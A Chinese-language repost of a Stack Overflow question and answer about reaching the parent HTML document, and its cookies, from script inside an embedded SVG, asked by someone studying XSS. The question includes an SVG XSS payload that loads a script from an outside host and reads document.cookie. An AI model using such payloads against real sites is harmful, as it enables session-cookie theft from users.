gpt4 book ai didi

javascript - 如何从 SVG 文档 JavaScript 获取父文档对象?

转载 作者:行者123 更新时间:2023-11-28 16:00:10 25 4
gpt4 key购买 nike

我正在研究 XSS。我知道 HTML SVG 对象存在漏洞

来源在这里

<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" x="0" y="0" width="0" height="0" id="xss"><script type="text/ecmascript" xlink:href="http://blahblahblah.com/~blah/xss/xss.js"></script></svg>

我在 xss.js 中尝试过这个

alert(document.cookie);

但是 cookie 的值是“未定义”

SVG 对象中有 Document 对象,但是它与 HTML Document 对象不同。

那么,如何获取 cookie 的父文档对象?

请帮忙。

感谢您的阅读。

最佳答案

有一个HTMLDocument接口(interface)和SVGDocument接口(interface),两者均派生自基 Document接口(interface)提供了一些常用的方法。 Cookie 是 HTMLDocument 接口(interface)的一部分,因此只有 HTML 文档才能获取 Cookie。

如果您正在谈论 <svg> 的情况通过 <object> 嵌入到 html 文档中, <embed><iframe>然后标记parent.documenttop.document将从 SVG 对象中的脚本获取父 html 文档,前提是 SVG 和 HTML 文档位于同一域中。

这至少对我在 Firefox 上有效......

<html>
<body>
<object id="object" data="embedded.svg" type="image/svg+xml"
width="450" height="300">
</object>
</body>
</html>

与embedded.svg一起

<svg xmlns="http://www.w3.org/2000/svg">
<rect x="0" y="0" width="100%" height="100%" fill="blue"/>
<script>
alert(parent.document);
</script>
</svg>

关于javascript - 如何从 SVG 文档 JavaScript 获取父文档对象?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/17249260/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com